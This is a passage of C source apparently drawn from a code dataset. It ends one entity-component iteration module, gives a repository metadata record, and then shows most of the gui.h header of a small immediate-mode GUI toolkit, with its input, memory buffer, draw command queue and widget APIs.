if(D->entities[eid].coreflags || !vector_empty(&e->properties))
{
++ n;
D->this_entity = eid + 1;
f(D);
}
}
D->this_entity = DE4_BADID;
return n;
}
*/
size_t de4_pass1(de4_State * D, de4_Id id_0, de4_Function1 f)
{
if(id_0 == DE4_BADID)
return 0;
size_t n = 0;
if(PROP_IS_CORE(id_0))
{
uint32_t flag = (1 << PROP_IDX(id_0));
core_data_t * prop_base = vector_get(&D->coredata, PROP_IDX(id_0));
for(de4_Id eidx = 0 ; eidx < D->entity_num ; ++ eidx)
{
uint32_t coreflags = D->entities[eidx].coreflags;
if(coreflags & flag)
{
++ n;
D->this_entity = eidx + 1;
f(D, prop_base + eidx);
}
}
D->this_entity = DE4_BADID;
}
else
{
for(de4_Id eidx = 0 ; eidx < D->entity_num ; ++ eidx)
{
void * data = 0;
vector_foreach(&D->entities[eidx].properties, it)
{
if(it.ptr->typeid == id_0)
{
data = it.ptr->value;
break;
}
}
if(data)
{
++ n;
D->this_entity = eidx + 1;
f(D, data);
}
}
D->this_entity = DE4_BADID;
}
return n;
}
size_t de4_pass2(de4_State * D, de4_Id id_0, de4_Id id_1, de4_Function2 f)
{
size_t n = 0;
for(de4_Id eid = 1 ; eid <= D->entity_num ; ++ eid)
{
void * data0 = prop_get(D, eid, id_0);
void * data1 = prop_get(D, eid, id_1);
if(data0 && data1)
{
++ n;
D->this_entity = eid;
f(D, data0, data1);
}
}
D->this_entity = DE4_BADID;
return n;
}
size_t de4_pass3(de4_State * D, de4_Id id_0, de4_Id id_1, de4_Id id_2, de4_Function3 f)
{
size_t n = 0;
for(de4_Id eid = 1 ; eid <= D->entity_num ; ++ eid)
{
void * data0 = prop_get(D, eid, id_0);
void * data1 = prop_get(D, eid, id_1);
void * data2 = prop_get(D, eid, id_2);
if(data0 && data1 && data2)
{
++ n;
D->this_entity = eid;
f(D, data0, data1, data2);
}
}
D->this_entity = DE4_BADID;
return n;
}
size_t de4_pass4(de4_State * D, de4_Id id_0, de4_Id id_1, de4_Id id_2, de4_Id id_3, de4_Function4 f)
{
size_t n = 0;
for(de4_Id eid = 1 ; eid <= D->entity_num ; ++ eid)
{
void * data0 = prop_get(D, eid, id_0);
void * data1 = prop_get(D, eid, id_1);
void * data2 = prop_get(D, eid, id_2);
void * data3 = prop_get(D, eid, id_3);
if(data0 && data1 && data2 && data3)
{
++ n;
D->this_entity = eid;
f(D, data0, data1, data2, data3);
}
}
D->this_entity = DE4_BADID;
return n;
}
| 2.328125 | 2 |
2024-11-18T18:36:19.702913+00:00 | 2015-06-24T10:31:07 | d1712e9efc63310de0f549dd516dc21b00bfb01c | {
"blob_id": "d1712e9efc63310de0f549dd516dc21b00bfb01c",
"branch_name": "refs/heads/master",
"committer_date": "2015-06-24T10:31:07",
"content_id": "1a32487835de3898230179aff6fdf734dc8269b4",
"detected_licenses": [
"MIT"
],
"directory_id": "12cca99db1fbf779fffa1ca573d3c28b4e1ed660",
"extension": "h",
"filename": "gui.h",
"fork_events_count": 0,
"gha_created_at": "2015-06-25T02:25:02",
"gha_event_created_at": "2015-06-25T02:25:02",
"gha_language": null,
"gha_license_id": null,
"github_id": 38023077,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 85585,
"license": "MIT",
"license_type": "permissive",
"path": "/gui.h",
"provenance": "stackv2-0021.json.gz:99101",
"repo_name": "island-org/gui",
"revision_date": "2015-06-24T10:31:07",
"revision_id": "88aee720afcf6551ecb310c739caf1ed94085799",
"snapshot_id": "943728d23ddb6976300e809b6514349d9cae6333",
"src_encoding": "UTF-8",
"star_events_count": 6,
"url": "https://raw.githubusercontent.com/island-org/gui/88aee720afcf6551ecb310c739caf1ed94085799/gui.h",
"visit_date": "2021-01-22T16:00:21.861021"
} | stackv2 | /*
Copyright (c) 2015
vurtun <[email protected]>
MIT licence
GUI
-----------------------
This two file provide both the interface and implementation for a bloat free
minimal state immediate mode graphical user interface toolkit. The Toolkit
does not have any library or runtine dependencies like libc but does not
handle os window/input management, have a render backend or a font library which
need to be provided by the user.
*/
#ifndef GUI_H_
#define GUI_H_
#ifdef __cplusplus
extern "C" {
#endif
#ifndef GUI_ASSERT
#define GUI_ASSERT(expr)
#endif
/* Constants */
#define GUI_UTF_INVALID 0xFFFD
#define GUI_UTF_SIZE 4
/* describes the number of bytes a glyph consists of*/
#define GUI_INPUT_MAX 16
/* defines the max number of bytes to be added as text input in one frame */
#define GUI_MAX_COLOR_STACK 32
/* defines the number of temporary configuration color changes that can be stored */
#define GUI_MAX_ATTRIB_STACK 32
/* defines the number of temporary configuration attribute changes that can be stored */
/*
Since the gui uses ANSI C which does not guarantee to have fixed types, you need
to set the appropriate size of each type. However if your developer environment
supports fixed size types by the <stdint> header you can just use
#define GUI_USE_FIXED_TYPES
to automatically set the correct size for each type in the library.
*/
#ifdef GUI_USE_FIXED_TYPES
#include <stdint.h>
typedef char gui_char;
typedef int32_t gui_int;
typedef int32_t gui_bool;
typedef int16_t gui_short;
typedef int64_t gui_long;
typedef float gui_float;
typedef uint16_t gui_ushort;
typedef uint32_t gui_uint;
typedef uint64_t gui_ulong;
typedef uint32_t gui_flags;
typedef uint8_t gui_byte;
typedef uint32_t gui_flag;
typedef uint64_t gui_size;
#else
typedef int gui_int;
typedef int gui_bool;
typedef char gui_char;
typedef short gui_short;
typedef long gui_long;
typedef float gui_float;
typedef unsigned short gui_ushort;
typedef unsigned int gui_uint;
typedef unsigned long gui_ulong;
typedef unsigned int gui_flags;
typedef unsigned char gui_byte;
typedef unsigned int gui_flag;
typedef unsigned long gui_size;
#endif
/* Utilities */
enum {gui_false, gui_true};
enum gui_heading {GUI_UP, GUI_RIGHT, GUI_DOWN, GUI_LEFT};
struct gui_color {gui_byte r,g,b,a;};
struct gui_vec2 {gui_float x,y;};
struct gui_rect {gui_float x,y,w,h;};
struct gui_key {gui_bool down, clicked;};
typedef gui_char gui_glyph[GUI_UTF_SIZE];
typedef union {void *ptr; gui_int id;} gui_handle;
struct gui_image {gui_handle handle; struct gui_rect region;};
/* Callbacks */
struct gui_font;
typedef gui_bool(*gui_filter)(gui_long unicode);
typedef gui_size(*gui_text_width_f)(gui_handle, const gui_char*, gui_size);
/*
* ==============================================================
*
* Utility
*
* ===============================================================
*/
struct gui_rect gui_get_null_rect(void);
gui_size gui_utf_decode(const gui_char*, gui_long*, gui_size);
gui_size gui_utf_encode(gui_long, gui_char*, gui_size);
struct gui_image gui_image_ptr(void*);
struct gui_image gui_image_id(gui_int);
struct gui_image gui_subimage_ptr(void*, struct gui_rect);
struct gui_image gui_subimage_id(gui_int, struct gui_rect);
gui_bool gui_rect_is_valid(struct gui_rect*);
gui_bool gui_image_is_subimage(struct gui_image* img);
struct gui_rect gui_rect(gui_float x, gui_float y, gui_float w, gui_float h);
struct gui_vec2 gui_vec2(gui_float x, gui_float y);
struct gui_color gui_rgba(gui_byte r, gui_byte g, gui_byte b, gui_byte a);
struct gui_color gui_rgb(gui_byte r, gui_byte g, gui_byte b);
/*
* ==============================================================
*
* Input
*
* ===============================================================
*/
/* INPUT
----------------------------
The input API is responsible for holding input by keeping track of
mouse, key and text input state. The core of the API is the persistent
gui_input struct which holds the input state while running.
It is important to note that no direct os or window handling is done by the input
API, instead all the input state has to be provided from the user. This in one hand
expects more work from the user and complicates the usage but on the other hand
provides simple abstraction over a big number of platforms, libraries and other
already provided functionality.
USAGE
----------------------------
To instantiate the Input API the gui_input structure has to be zeroed at
the beginning of the program by either using memset or setting it to {0},
since the internal state is persistent over all frames.
To modify the internal input state you have to first set the gui_input struct
into a modifiable state with gui_input_begin. After the gui_input struct is
now ready you can add input state changes until everything is up to date.
Finally to revert back into a read state you have to call gui_input_end.
Input function API
gui_input_begin() -- begins the modification state
gui_input_motion() -- notifies of a cursor motion update
gui_input_key() -- notifies of a keyboard key update
gui_input_button() -- notifies of a action event
gui_input_char() -- adds a text glyph to gui_input
gui_input_end() -- ends the modification state
*/
#if 0
/* Example */
#define GUI_IMPLEMENTATION
#include "gui.h"
int main(void)
{
struct gui_input input;
memset(&input, 0, sizeof(input));
while (1) {
gui_input_begin(&in);
if (Key_state_changed)
gui_input_key(&input, key, is_down);
else if (button_state_changed)
gui_input_button(&in, mouse_x, mouse_y, is_down);
else if (mouse_position_changed)
gui_input_motion(&input, mouse_x, mouse_y);
else if (text_input)
gui_input_char(&input, glyph);
gui_input_end(&in);
}
return 0;
}
#endif
/* every key that is being used inside the library */
enum gui_keys {
GUI_KEY_SHIFT,
GUI_KEY_DEL,
GUI_KEY_ENTER,
GUI_KEY_BACKSPACE,
GUI_KEY_ESCAPE,
GUI_KEY_SPACE,
GUI_KEY_MAX
};
struct gui_input {
struct gui_key keys[GUI_KEY_MAX];
/* state of every used key */
gui_char text[GUI_INPUT_MAX];
/* utf8 text input frame buffer */
gui_size text_len;
/* text input frame buffer length in bytes */
struct gui_vec2 mouse_pos;
/* current mouse position */
struct gui_vec2 mouse_prev;
/* mouse position in the last frame */
struct gui_vec2 mouse_delta;
/* mouse travelling distance from last to current frame */
gui_bool mouse_down;
/* current mouse button state */
gui_uint mouse_clicked;
/* number of mouse button state transistions between frames */
gui_float scroll_delta;
/* number of steps in the up or down scroll direction */
struct gui_vec2 mouse_clicked_pos;
/* mouse position of the last mouse button state change */
};
void gui_input_begin(struct gui_input*);
/* this function sets the input state to writeable */
void gui_input_motion(struct gui_input*, gui_int x, gui_int y);
/* this function updates the current mouse position
Input:
- local os window X position
- local os window Y position
*/
void gui_input_key(struct gui_input*, enum gui_keys, gui_bool down);
/* this function updates the current state of a key
Input:
- key identifier
- the new state of the key
*/
void gui_input_button(struct gui_input*, gui_int x, gui_int y, gui_bool down);
/* this function updates the current state of the button
Input:
- local os window X position
- local os window Y position
- the new state of the button
*/
void gui_input_scroll(struct gui_input*, gui_float y);
/* this function updates the current page scroll delta
Input:
- vector with each direction (< 0 down > 0 up and scroll distance)
*/
void gui_input_char(struct gui_input*, const gui_glyph);
/* this function adds a utf-8 glpyh into the internal text frame buffer
Input:
- utf8 glyph to add to the text buffer
*/
void gui_input_end(struct gui_input*);
/* this function sets the input state to readable
*/
/*
* ==============================================================
*
* Buffer
*
* ===============================================================
*/
/* BUFFER
----------------------------
A basic buffer API with linear allocation and resetting as only freeing policy.
The buffer main purpose is to control all memory management inside
the GUI toolkit and still leave memory control as much as possible in the hand
of the user. The memory is provided in three different ways.
The first way is to use a fixed size block of memory to be filled up.
Biggest advantage is a simple memory model. Downside is that if the buffer
is full there is no way to accesses more memory, which fits target application
with a GUI with roughly known memory consumptions.
The second way to mnamge memory is by extending the fixed size block by querying
information from the buffer about the used size and needed size and allocate new
memory if the buffer is full. While this approach is still better than just using
a fixed size memory block the reallocation still has one invalid frame as consquence
since the used memory information is only available at the end of the frame which leads
to the last way of handling memory.
The last and most complicated way of handling memory is by allocator callbacks.
The user herby registers callbacks to be called to allocate, free and reallocate
memory if needed. While this solves most allocation problems it causes some
loss of flow control on the user side.
USAGE
----------------------------
To instantiate the buffer you either have to call the fixed size or allocator
initialization function and provide a memory block in the first case and
an allocator in the second case.
To allocate memory from the buffer you would call gui_buffer_alloc with a request
memory block size aswell as an alignment for the block. Finally to reset the memory
at the end of the frame and when the memory buffer inside the buffer is no longer
needed you would call gui_buffer_reset. To free all memory that has been allocated
by an allocator if the buffer is no longer being used you have to call gui_buffer_clear.
Buffer function API
gui_buffer_init -- initializes a dynamic buffer
gui_buffer_init_fixed -- initializes a static buffer
gui_buffer_info -- provides memory information about a buffer
gui_buffer_alloc -- allocates a block of memory from the buffer
gui_buffer_reset -- resets the buffer back to an empty state
gui_buffer_clear -- frees all memory if the buffer is dynamic
*/
struct gui_memory_status {
void *memory;
/* pointer to the currently used memory block inside the referenced buffer */
gui_uint type;
/* type of the buffer which is either fixed size or dynamic */
gui_size size;
/* total size of the memory block */
gui_size allocated;
/* allocated amount of memory */
gui_size needed;
/* memory size that would have been allocated if enough memory was present */
gui_size calls;
/* number of allocation calls referencing this buffer */
};
struct gui_allocator {
gui_handle userdata;
/* handle to your own allocator */
void*(*alloc)(gui_handle, gui_size);
/* allocation function pointer */
void*(*realloc)(gui_handle, void*, gui_size);
/* reallocation pointer of a previously allocated memory block */
void(*free)(gui_handle, void*);
/* callback function pointer to finally free all allocated memory */
};
enum gui_buffer_type {
GUI_BUFFER_FIXED,
/* fixed size memory buffer */
GUI_BUFFER_DYNAMIC
/* dynamically growing buffer */
};
struct gui_memory {void *ptr;gui_size size;};
struct gui_buffer {
struct gui_allocator pool;
/* allocator callback for dynamic buffers */
enum gui_buffer_type type;
/* memory type management type */
struct gui_memory memory;
/* memory and size of the current memory block */
gui_float grow_factor;
/* growing factor for dynamic memory management */
gui_size allocated;
/* total amount of memory allocated */
gui_size needed;
/* total amount of memory allocated if enough memory would have been present */
gui_size calls;
/* number of allcation calls */
};
void gui_buffer_init(struct gui_buffer*, const struct gui_allocator*,
gui_size initial_size, gui_float grow_factor);
/* this function initializes a growing buffer
Input:
- allocator holding your own alloctator and memory allocation callbacks
- initial size of the buffer
- factor to grow the buffer by if the buffer is full
Output:
- dynamically growing buffer
*/
void gui_buffer_init_fixed(struct gui_buffer*, void *memory, gui_size size);
/* this function initializes a fixed size buffer
Input:
- fixed size previously allocated memory block
- size of the memory block
Output:
- fixed size buffer
*/
void gui_buffer_info(struct gui_memory_status*, struct gui_buffer*);
/* this function requests memory information from a buffer
Input:
- buffer to get the inforamtion from
Output:
- buffer memory information
*/
void *gui_buffer_alloc(struct gui_buffer*, gui_size size, gui_size align);
/* this functions allocated a aligned memory block from a buffer
Input:
- buffer to allocate memory from
- size of the requested memory block
- alignment requirement for the memory block
Output:
- memory block with given size and alignment requirement
*/
void gui_buffer_reset(struct gui_buffer*);
/* this functions resets the buffer back into an empty state */
void gui_buffer_clear(struct gui_buffer*);
/* this functions frees all memory inside a dynamically growing buffer */
#if 0
/* Example fixed size buffer */
#define GUI_IMPLEMENTATION
#include "gui.h"
int main(void)
{
struct gui_buffer buffer;
void *memory = calloc(4*1024);
gui_buffer_init_fixed(&buffer, memory, 4*1024);
void *ptr = gui_buffer_alloc(&buffer, 256, 4);
gui_buffer_reset(&buffer);
return 0;
}
#endif
#if 0
/* Example fixed size buffer */
#define GUI_IMPLEMENTATION
#include "gui.h"
int main(void)
{
struct gui_allocator alloc;
alloc.userdata = your_allocator;
alloc.alloc = your_allocation_callback;
alloc.realloc = your_reallocation_callback;
alloc.free = your_free_callback;
struct gui_buffer buffer;
gui_buffer_init(&buffer, &alloc, 4*1024, 2.7f);
void *ptr = gui_buffer_alloc(&buffer, 256, 4);
gui_buffer_reset(&buffer);
gui_buffer_clear(&buffer);
return 0;
}
#endif
/*
* ==============================================================
*
* Commands
*
* ===============================================================
*/
/* DRAW COMMAND QUEUE
----------------------------
The command buffer API enqueues draw calls as commands in to a buffer and
therefore abstracts over drawing routines and enables defered drawing.
The API offers a number of drawing primitives like lines, rectangles, circles,
triangles, images, text and clipping rectangles, that have to be drawn by the user.
Therefore the command buffer is the main toolkit output besides the actual widget output.
The actual draw command execution is done by the user and is build up in a
interpreter like fashion by iterating over all commands and executing each
command differently depending on the command type.
USAGE
----------------------------
To use the command buffer you first have to initiate the buffer either as fixed
size or growing buffer. After the initilization you can add primitives by
calling the appropriate gui_command_buffer_XXX for each primitive.
To iterate over each commands inside the buffer gui_foreach_command is
provided. Finally to reuse the buffer after the frame use the
gui_command_buffer_reset function.
command buffer function API
gui_command_buffer_init -- initializes a dynamic command buffer
gui_command_buffer_init_fixed -- initializes a static command buffer
gui_command_buffer_reset -- resets the command buffer back to an empty state
gui_command_buffer_clear -- frees all memory if the command buffer is dynamic
command queue function API
gui_command_buffer_push -- pushes and enqueues a command into the buffer
gui_command_buffer_push_scissor -- pushes a clipping rectangle into the command queue
gui_command_buffer_push_line -- pushes a line into the command queue
gui_command_buffer_push_rect -- pushes a rectange into the command queue
gui_command_buffer_push_circle -- pushes a circle into the command queue
gui_command_buffer_push_triangle-- pushes a triangle command into the queue
gui_command_buffer_push_image -- pushes a image draw command into the queue
gui_command_buffer_push_text -- pushes a text draw command into the queue
command iterator function API
gui_command_buffer_begin -- returns the first command in a queue
gui_command_buffer_next -- returns the next command in a queue
gui_foreach_command -- iterates over all commands in a queue
*/
/* command type of every used drawing primitive */
enum gui_command_type {
GUI_COMMAND_NOP,
GUI_COMMAND_SCISSOR,
GUI_COMMAND_LINE,
GUI_COMMAND_RECT,
GUI_COMMAND_CIRCLE,
GUI_COMMAND_TRIANGLE,
GUI_COMMAND_TEXT,
GUI_COMMAND_IMAGE,
GUI_COMMAND_MAX
};
/* command base and header of every comand inside the buffer */
struct gui_command {
enum gui_command_type type;
/* the type of the current command */
gui_size offset;
/* offset to the next command */
};
struct gui_command_scissor {
struct gui_command header;
gui_short x, y;
gui_ushort w, h;
};
struct gui_command_line {
struct gui_command header;
gui_short begin[2];
gui_short end[2];
gui_byte color[4];
};
struct gui_command_rect {
struct gui_command header;
gui_uint r;
gui_short x, y;
gui_ushort w, h;
gui_byte color[4];
};
struct gui_command_circle {
struct gui_command header;
gui_short x, y;
gui_ushort w, h;
gui_byte color[4];
};
struct gui_command_image {
struct gui_command header;
gui_short x, y;
gui_ushort w, h;
struct gui_image img;
};
struct gui_command_triangle {
struct gui_command header;
gui_short a[2];
gui_short b[2];
gui_short c[2];
gui_byte color[4];
};
struct gui_command_text {
struct gui_command header;
gui_handle font;
gui_byte bg[4];
gui_byte fg[4];
gui_short x, y;
gui_ushort w, h;
gui_size length;
gui_char string[1];
};
enum gui_command_clipping {
GUI_NOCLIP = gui_false,
GUI_CLIP = gui_true
};
struct gui_command_buffer {
struct gui_buffer base;
/* memory buffer */
struct gui_rect clip;
/* current clipping rectangle */
gui_bool use_clipping;
/* flag if the command buffer should clip commands */
};
#define gui_command_buffer_init(b, a, i, g, c)\
{gui_buffer_init(&(b)->base, a, i, g), (b)->use_clipping=c; (b)->clip=gui_get_null_rect();}
/* this function initializes a growing buffer
Input:
- allocator holding your own alloctator and memory allocation callbacks
- initial size of the buffer
- factor to grow the buffer with if the buffer is full
- clipping flag for draw command clipping
Output:
- dynamically growing command buffer
*/
#define gui_command_buffer_init_fixed(b, m, s,c)\
{gui_buffer_init_fixed(&(b)->base, m ,s); (b)->use_clipping=c; (b)->clip=gui_get_null_rect();}
/* this function initializes a fixed size buffer
Input:
- memory block to fill
- size of the memory block
- clipping flag for draw command clipping
Output:
- fixed size command buffer
*/
#define gui_command_buffer_reset(b)\
gui_buffer_reset(&(b)->base)
/* this function resets the buffer back to an empty state
Input:
- buffer to reset
*/
#define gui_command_buffer_clear(b)\
gui_buffer_clear(&(b)->base)
/* this function frees the memory of a dynamic buffer
Input:
- buffer to reset
*/
void *gui_command_buffer_push(struct gui_command_buffer*, gui_uint type, gui_size size);
/* this function push enqueues a command into the buffer
Input:
- buffer to push the command into
- type of the command
- amount of memory that is needed for the specified command
*/
void gui_command_buffer_push_scissor(struct gui_command_buffer*, gui_float,
gui_float, gui_float, gui_float);
/* this function push a clip rectangle command into the buffer
Input:
- buffer to push the clip rectangle command into
- x,y and width and height of the clip rectangle
*/
void gui_command_buffer_push_line(struct gui_command_buffer*, gui_float, gui_float,
gui_float, gui_float, struct gui_color);
/* this function pushes a line draw command into the buffer
Input:
- buffer to push the clip rectangle command into
- starting position of the line
- ending position of the line
- color of the line to draw
*/
void gui_command_buffer_push_rect(struct gui_command_buffer *buffer, gui_float x,
gui_float y, gui_float w, gui_float h,
gui_float r, struct gui_color c);
/* this function pushes a rectangle draw command into the buffer
Input:
- buffer to push the draw rectangle command into
- rectangle position
- rectangle size
- rectangle rounding
- color of the rectangle to draw
*/
void gui_command_buffer_push_circle(struct gui_command_buffer*, gui_float, gui_float,
gui_float, gui_float, struct gui_color);
/* this function pushes a circle draw command into the buffer
Input:
- buffer to push the circle draw command into
- x position of the top left of the circle
- y position of the top left of the circle
- rectangle diameter of the circle
- color of the circle to draw
*/
void gui_command_buffer_push_triangle(struct gui_command_buffer*, gui_float, gui_float,
gui_float, gui_float, gui_float, gui_float,
struct gui_color);
/* this function pushes a triangle draw command into the buffer
Input:
- buffer to push the draw triangle command into
- (x,y) coordinates of all three points
- rectangle diameter of the circle
- color of the triangle to draw
*/
void gui_command_buffer_push_image(struct gui_command_buffer*, gui_float,
gui_float, gui_float, gui_float,
struct gui_image*);
/* this function pushes a image draw command into the buffer
Input:
- buffer to push the draw image command into
- position of the image with x,y position
- size of the image to draw with width and height
- rectangle diameter of the circle
- color of the triangle to draw
*/
void gui_command_buffer_push_text(struct gui_command_buffer*, gui_float, gui_float,
gui_float, gui_float, const gui_char*, gui_size,
const struct gui_font*, struct gui_color,
struct gui_color);
/* this function pushes a text draw command into the buffer
Input:
- buffer to push the draw text command into
- top left position of the text with x,y position
- maixmal size of the text to draw with width and height
- color of the triangle to draw
*/
#define gui_ptr_add(t, p, i) ((t*)((void*)((gui_size)(p) + (i))))
#define gui_ptr_sub(t, p, i) ((t*)((void*)((gui_size)(p) - (i))))
#define gui_command(t, c) ((const struct gui_command_##t*)c)
#define gui_command_buffer_begin(b)\
((const struct gui_command*)(b)->base.memory.ptr)
#define gui_command_buffer_end(b)\
(gui_ptr_add(const struct gui_command, (b)->base.memory.ptr, (b)->base.allocated))
#define gui_command_buffer_next(b, c)\
((gui_ptr_add(const struct gui_command,c,c->offset)<gui_command_buffer_end(b))?\
gui_ptr_add(const struct gui_command,c,c->offset):NULL)
#define gui_foreach_command(i, b)\
for((i)=gui_command_buffer_begin(b); (i)!=NULL; (i)=gui_command_buffer_next(b,i))
/*
* ==============================================================
*
* Widgets
*
* ===============================================================
*/
/* WIDGETS
----------------------------
The Widget API supports a number of basic widgets like buttons, sliders or
editboxes and stores no widget state. Instead the state of each widget has to
be managed by the user.
USAGE
----------------------------
Most widgets takes an input struct, font and widget specific data and a command
buffer to push draw command into and return the updated widget state.
Important to note is that there is no actual state that is being stored inside
the toolkit so everything has to be stored byte the user.
Widget function API
gui_text -- draws a string inside a box
gui_button_text -- button widget with text content
gui_button_image -- button widget with icon content
gui_button_triangle -- button widget with triangle content
gui_toggle -- either a checkbox or radiobutton widget
gui_slider -- floating point slider widget
gui_progress -- unsigned integer progressbar widget
gui_edit -- Editbox wiget for user input
gui_edit_filtered -- Editbox with utf8 gylph filter capabilities
gui_spinner -- unsigned integer spinner widget
gui_selector -- string selector widget
gui_scroll -- scrollbar widget imeplementation
*/
/* Example */
#if 0
gui_command_buffer buffer;
void *memory = malloc(MEMORY_SIZE)
gui_buffer_init_fixed(buffer, memory, MEMORY_SIZE);
struct gui_font font = {...};
const struct gui_slider slider = {...};
const struct gui_progress progress = {...};
gui_float value = 5.0f
gui_size prog = 20;
struct gui_input input = {0};
while (1) {
gui_input_begin(&input);
/* record input */
gui_input_end(&input);
gui_command_buffer_reset(&buffer);
value = gui_slider(&buffer, 50, 50, 100, 30, 0, value, 10, 1, &slider, &input);
prog = gui_progress(&buffer, 50, 100, 100, 30, prog, 100, gui_false, &progress, &input);
const struct gui_command *cmd;
gui_foreach_command(cmd, buffer) {
/* execute draw call command */
}
}
#endif
struct gui_font {
gui_handle userdata;
/* user provided font handle */
gui_float height;
/* max height of the font */
gui_text_width_f width;
/* font string width in pixel callback */
};
enum gui_text_align {
GUI_TEXT_LEFT,
GUI_TEXT_CENTERED,
GUI_TEXT_RIGHT
};
struct gui_text {
struct gui_vec2 padding;
/* padding between bounds and text */
struct gui_color foreground;
/*text color */
struct gui_color background;
/* text background color */
};
enum gui_button_behavior {
GUI_BUTTON_DEFAULT,
/* button only returns on activation */
GUI_BUTTON_REPEATER,
/* button returns as long as the button is pressed */
GUI_BUTTON_MAX
};
struct gui_button {
gui_float border;
/* size of the border */
gui_float rounding;
/* buttong rectangle rounding */
struct gui_vec2 padding;
/* padding between bounds and content */
struct gui_color background;
/* button color */
struct gui_color foreground;
/* button border color */
struct gui_color content;
/* button content color */
struct gui_color highlight;
/* background color if mouse is over */
struct gui_color highlight_content;
/* content color if mouse is over */
};
enum gui_toggle_type {
GUI_TOGGLE_CHECK,
/* checkbox toggle */
GUI_TOGGLE_OPTION
/* radiobutton toggle */
};
struct gui_toggle {
gui_float rounding;
/* checkbox rectangle rounding */
struct gui_vec2 padding;
/* padding between bounds and content */
struct gui_color font;
/* text color */
struct gui_color background;
/* toggle background color*/
struct gui_color foreground;
/* toggle foreground color*/
struct gui_color cursor;
/* toggle cursor color*/
};
struct gui_progress {
gui_float rounding;
/* progressbar rectangle rounding */
struct gui_vec2 padding;
/* padding between bounds and content */
struct gui_color background;
/* progressbar background color */
struct gui_color foreground;
/* progressbar cursor color */
};
struct gui_slider {
struct gui_vec2 padding;
/* padding between bounds and content */
struct gui_color bar;
/* slider background bar color */
struct gui_color border;
/* slider cursor border color */
struct gui_color bg;
/* slider background color */
struct gui_color fg;
/* slider cursor color */
};
struct gui_scroll {
gui_float rounding;
/* scrollbar rectangle rounding */
struct gui_color background;
/* scrollbar background color */
struct gui_color foreground;
/* scrollbar cursor color */
struct gui_color border;
/* scrollbar border color */
gui_bool has_scrolling;
/* flag if the scrollbar can be updated by scrolling */
};
enum gui_input_filter {
GUI_INPUT_DEFAULT,
/* everything goes */
GUI_INPUT_ASCII,
/* ASCII characters (0-127)*/
GUI_INPUT_FLOAT,
/* only float point numbers */
GUI_INPUT_DEC,
/* only integer numbers */
GUI_INPUT_HEX,
/* only hex numbers */
GUI_INPUT_OCT,
/* only octal numbers */
GUI_INPUT_BIN
/* only binary numbers */
};
struct gui_edit {
gui_float border_size;
/* editbox border line size */
gui_float rounding;
/* editbox rectangle rounding */
struct gui_vec2 padding;
/* padding between bounds and content*/
gui_bool show_cursor;
/* flag indication if the cursor should be drawn */
struct gui_color background;
/* editbox background */
struct gui_color border;
/* editbox border color */
struct gui_color cursor;
/* editbox cursor color */
struct gui_color text;
/* editbox text color */
};
struct gui_spinner {
gui_size border_button;
/* border line width */
struct gui_color button_color;
/* spinner button background color */
struct gui_color button_border;
/* spinner button border color */
struct gui_color button_triangle;
/* spinner up and down button triangle color */
struct gui_color color;
/* spinner background color */
struct gui_color border;
/* spinner border color */
struct gui_color text;
/* spinner text color */
struct gui_vec2 padding;
/* spinner padding between bounds and content*/
gui_bool show_cursor;
/* flag indicating if the cursor should be drawn */
};
struct gui_selector {
gui_size border_button;
/* border line width */
struct gui_color button_color;
/* selector button background color */
struct gui_color button_border;
/* selector button border color */
struct gui_color button_triangle;
/* selector button content color */
struct gui_color color;
/* selector background color */
struct gui_color border;
/* selector border color */
struct gui_color text;
/* selector text color */
struct gui_color text_bg;
/* selector text background color */
struct gui_vec2 padding;
/* padding between bounds and content*/
};
void gui_text(struct gui_command_buffer*, gui_float, gui_float, gui_float, gui_float,
const char *text, gui_size len, const struct gui_text*, enum gui_text_align,
const struct gui_font*);
/* this function executes a text widget with text alignment
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- string to draw
- length of the string
- visual widget style structure describing the text
- text alignment with either left, center and right
- font structure for text drawing
*/
gui_bool gui_button_text(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, const char*, enum gui_button_behavior,
const struct gui_button*, const struct gui_input*,
const struct gui_font*);
/* this function executes a text button widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- button text
- button behavior with either repeating or transition state event
- visual widget style structure describing the button
- input structure to update the button with
- font structure for text drawing
Output:
- returns gui_true if the button was pressed gui_false otherwise
*/
gui_bool gui_button_image(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, struct gui_image img, enum gui_button_behavior,
const struct gui_button*, const struct gui_input*);
/* this function executes a image button widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- user provided image handle which is either a pointer or a id
- button behavior with either repeating or transition state event
- visual widget style structure describing the button
- input structure to update the button with
Output:
- returns gui_true if the button was pressed gui_false otherwise
*/
gui_bool gui_button_triangle(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, enum gui_heading,
enum gui_button_behavior, const struct gui_button*,
const struct gui_input*);
/* this function executes a triangle button widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- triangle direction with either left, top, right xor bottom
- button behavior with either repeating or transition state event
- visual widget style structure describing the button
- input structure to update the button with
Output:
- returns gui_true if the button was pressed gui_false otherwise
*/
gui_bool gui_button_text_triangle(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, enum gui_heading,
const char*,enum gui_text_align, enum gui_button_behavior,
const struct gui_button*, const struct gui_font*,
const struct gui_input*);
/* this function executes a button with text and a triangle widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- triangle direction with either left, top, right xor bottom
- button text
- text alignment with either left, center and right
- button behavior with either repeating or transition state event
- visual widget style structure describing the button
- font structure for text drawing
- input structure to update the button with
Output:
- returns gui_true if the button was pressed gui_false otherwise
*/
gui_bool gui_button_text_image(struct gui_command_buffer *out, gui_float x, gui_float y,
gui_float w, gui_float h, struct gui_image img,
const char* text, enum gui_text_align align,
enum gui_button_behavior behavior,
const struct gui_button *button, const struct gui_font *f,
const struct gui_input *i);
/* this function executes a button widget with text and an icon
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- user provided image handle which is either a pointer or a id
- button text
- text alignment with either left, center and right
- button behavior with either repeating or transition state event
- visual widget style structure describing the button
- font structure for text drawing
- input structure to update the button with
Output:
- returns gui_true if the button was pressed gui_false otherwise
*/
gui_bool gui_toggle(struct gui_command_buffer*, gui_float x, gui_float y, gui_float w,
gui_float h, gui_bool, const char*, enum gui_toggle_type,
const struct gui_toggle*, const struct gui_input*, const struct gui_font*);
/* this function executes a toggle (checkbox, radiobutton) widget
Input:
